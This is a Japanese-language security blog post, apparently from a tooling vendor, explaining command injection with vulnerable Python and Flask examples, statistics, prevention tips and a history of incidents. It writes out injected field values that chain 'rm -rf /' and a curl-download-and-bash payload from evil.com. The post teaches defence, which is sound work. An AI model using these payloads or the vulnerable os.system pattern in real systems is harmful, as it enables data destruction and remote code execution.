コマンドインジェクションとは?
コマンドインジェクションは、SQLインジェクションやコードインジェクションほど有名ではありませんが、ウェブアプリケーションでは依然として非常に蔓延している脆弱性です。他のインジェクション脆弱性に精通していれば、共通の原則を認識できるでしょう。それは、信頼できないユーザー入力が適切に検証されず、任意のシステムコマンドの実行につながるというものです。この欠陥は、検証されていない入力がシステムレベルの関数に渡されたときに発生します。では、コマンドインジェクションは実際にどれほど蔓延しているのでしょうか?私たちは、この脆弱性が実際にどれほど一般的に見られるかを調査しました。*ネタバレ*ですが、驚くほど一般的です!
コマンドインジェクションの例
コマンドインジェクションの例を考えてみましょう。サーバーにホストされているファイルの名前を入力できるアプリケーションがあるとします。そのアプリケーションは、そのファイルを取得し、その内容を出力します。そのコードは以下の通りです。
import os
file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")
上記のコードは、ユーザーが次のようなファイル名を挿入することを想定しています file.txt しかし、悪意のあるユーザーが不正なコマンドを実行するためのコードを注入する場合があります。
例えば
ファイル名: file.txt; rm -rf /
この入力は、まず内容を表示します file.txt そして悪意のあるものを実行します。 rm -rf コマンド。これにより、ディレクトリ内のすべてのファイルが強制的に削除されます。
悪意のあるユーザーがこれを実行できるのは、アプリケーションがユーザー入力を検証またはサニタイズしなかったためであり、その結果、アプリケーションがコマンドインジェクションに対して脆弱になったからです。
より包括的な例をご覧になりたい場合は、このページの最下部にあるボーナスコンテンツをご覧ください。
数値で見るコマンドインジェクション:当社の調査
- 2024年にオープンソースプロジェクトで発見された全脆弱性の7%がコマンドインジェクションでした。
- クローズドソースプロジェクトでは5.8%です!
- オープンソースプロジェクトにおけるコマンドインジェクションの脆弱性の総数は、2,348件(2023年)から2,600件(2024年)に増加する見込みです。
- 全脆弱性に占める割合として、コマンドインジェクションは人気が低下しています。2023年から2024年にかけて、オープンソースプロジェクトでは14.6%の減少、クローズドソースプロジェクトでは26.4%の減少が見られました。

当社の調査では、オープンソースとクローズドソースの両方のプロジェクトを対象に、コマンドインジェクションの脆弱性がどれだけ潜んでいるかを明らかにすることに焦点を当てました。
全体的に、コマンドインジェクションの脆弱性の数は非常に多く、オープンソースプロジェクトで報告された全脆弱性の7%がコマンドインジェクションであり、クローズドソースプロジェクトでは5.8%です。これは、発見されたSQLインジェクションの脆弱性の数にかなり近いものです。
このデータからは良いニュースも読み取れます。2023年から2024年にかけて、これらの脆弱性が減少する堅調な傾向が見られます。全脆弱性に占める割合では、クローズドソースプロジェクトで27%、オープンソースプロジェクトで14%の減少が見られました。これには多くの要因が寄与していると考えられますが、その中でも特に重要な要因の一つは、2024年にFBIとCISAがコマンドインジェクションを現実の脅威として指摘し、ベンダーに注意を促したことでしょう。データによると、この警告は聞き入れられたようです。
残念ながら、良いニュースはここまでです。オープンソースプロジェクトで報告される脆弱性の総数は依然として増加傾向にあります。オープンソースプロジェクトで報告されたインジェクション脆弱性の総数は、2023年の2,348件から2024年これまでのところ2,450件に増加しています(2,600件に達すると予想されています)。

コマンドインジェクションを防ぐ方法
コマンドインジェクション脆弱性の防止には、多角的なアプローチが必要です。
サーバーサイド入力検証
よくある間違いとして、クライアントサイドのバリデーションのみを実行することが挙げられますが、これは攻撃者が直接リクエストを行うことで迂回される可能性があります。
import subprocess
# 制限された入力の例
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt" # これはユーザーからの入力であるべきですが、検証されています
if user_input in allowed_files:
subprocess.Popen(['ls', '-l', user_input])
else:
print("無効な入力です!")
シェルコマンドを避ける
可能な限り、シェルコマンドを言語ネイティブの関数やライブラリに置き換えます。以下は、読み取り専用モードを使用してファイルを開き、その内容を読み取る例です。
with open("file.txt", "r") as f:
print(f.read())
自動テスト
これらの脆弱性を発見するために、Aikidoのようなツールを使用してソースコードとアプリケーションをスキャンします。
インアプリファイアウォールを使用します。
インジェクション攻撃に対する最善の防御策の一つは、悪意のあるコマンドを捕捉しブロックできるインアプリファイアウォールです。AikidoのインアプリファイアウォールZenは、オープンソース版と商用版があり、ランタイムでインジェクション攻撃を検出しブロックすることができます。
最小権限の原則を適用する
アプリケーションとユーザーを、必要な最小限の権限で実行されるように設定し、エクスプロイトによる潜在的な損害を軽減します。
今後の展望
コマンドインジェクションは、他の多くのインジェクション脆弱性と同様に課題です。技術的な観点からは、私たちはこれを解決しました。つまり、アプリケーションにこの種の脆弱性を持つ必要はありません。それにもかかわらず、依然として多くのこの種の脆弱性が見られるという事実は、飛躍的な改善を期待できないことを意味します。
コマンドインジェクションは今後も問題であり続けるでしょう。しかし、今年は大規模な組織がこの脆弱性に焦点を当てたことで、大幅な減少が見られました。そのため、引き続きこの脆弱性への意識を高めていけば、将来的にコマンドインジェクションの蔓延が減少する可能性があるという希望があります。
ボーナスコンテンツ
コマンドインジェクションの歴史: 主要な侵害事例
コマンドインジェクションは長年にわたり持続的な脅威となっています。実際、1989年から2014年までbashに重大なコマンドインジェクション脆弱性が存在していました。最近では2024年に、CISAとFBIがコマンドインジェクションの重要性を強調し、依然として大きな懸念事項であることを示しました。
1. コマンドインジェクションの初期
- 最初の既知の使用法:コマンドインジェクションの脆弱性は、1970年代から1980年代にかけてのマルチユーザーコンピューティングシステムの台頭とともに現れ、攻撃者がサニタイズされていない入力を介して任意のコマンドを実行することを可能にしました。
- 1980年代から1990年代:ウェブ技術の普及により、特に不適切に保護されたCGIスクリプトを介したコマンドインジェクションのエクスプロイトが増加しました。
2. 重大な侵害とエクスプロイト
- 1998年: 最初の文書化されたWebベースのコマンドインジェクション攻撃: 広く使用されていたPerlベースのCGIスクリプトの脆弱性がエクスプロイトされ、Webベースの主要なコマンドインジェクション事件の1つとなりました。
- 2010年: Stuxnetワーム(組み込みコマンドインジェクション): Stuxnetはコマンドインジェクションを利用して産業用制御システムを標的とし、この脆弱性が従来のIT環境を超えて影響を及ぼすことを示しました。
3. 2010年代:大規模なエクスプロイト
- 2014年: Shellshock脆弱性: Shellshock(CVE-2014-6271)はBashのコマンド処理をエクスプロイトし、世界中の数百万のシステムに影響を与えました。
- 2018年: Cisco ASA VPNエクスプロイト(CVE-2018-0101): CiscoのASAソフトウェアにおけるコマンドインジェクション脆弱性により、リモートコード実行が可能となり、企業セキュリティが侵害されました。
4. 2020年代:最新のエクスプロイトとトレンド
- 2020年: Citrix ADC Gatewayエクスプロイト: 攻撃者はCitrixシステムにおけるコマンドインジェクション脆弱性をエクスプロイトし、重大なデータ侵害を引き起こしました。
- 2023年: MOVEit脆弱性(SQLおよびコマンドインジェクション): MOVEit Transferソフトウェアにおけるコマンドインジェクションの欠陥により、複数の組織で広範囲にわたるデータ侵害が発生しました。
現実的なコマンドインジェクション脆弱性
脆弱なコード
コマンドインジェクションのもう少し複雑な例を見てみましょう。以下は、シンプルなPythonウェブアプリケーションのコードです。これは、ユーザーがPOSTリクエストを送信することで、指定されたファイルのZIPアーカイブを作成できるようにします。 /archive ルート。
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/archive', methods=['POST'])
def archive_files():
files = request.form.get('files') # User provides file names to archive
archive_name = request.form.get('archive_name') # User provides archive name
command = f"zip {archive_name}.zip {files}" # Command built dynamically
os.system(command) # Execute the system command
return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
app.run(debug=True)
仕組み
ユーザーが指定するもの:
ファイル(例:file1.txt file2.txt)で、アーカイブに含めるファイルを指定します。archive_nameで、結果として生成されるzipアーカイブの名前を指定します。
このコードはシェルコマンドを動的に構築します:
1. zip archive_name.zip file1.txt file2.txt
2. os.system() 関数はコマンドを実行し、ユーザーが提供した入力によってその動作が決定されます。
エクスプロイト
攻撃者は、追加のコマンドを archive_name または ファイル 入力に注入することで、これをエクスプロイトします。
攻撃者からの入力:
archive_name:my_archive; rm -rf /ファイル:file1.txt
結果のコマンド:
zip my_archive.zip file1.txt; rm -rf /
zip my_archive.zip file1.txt: 期待通りにアーカイブを作成します。; rm -rf /: 別の破壊的なコマンドを実行することで、サーバー上のすべてのファイルを削除します。
より高度な例
攻撃者はこれをエクスプロイトして、マルウェアをダウンロードしたり、データを外部に流出させたりする可能性があります。
archive_name: archive; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh
結果のコマンド:
zip archive.zip file1.txt; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh
このコマンド:
- アーカイブを作成します (
zip archive.zip file1.txt)。 - 悪意のあるコードをダウンロードします (
curl -o malware.sh http://evil.com/malware.sh)。 - マルウェアを実行します (
bash malware.sh)。

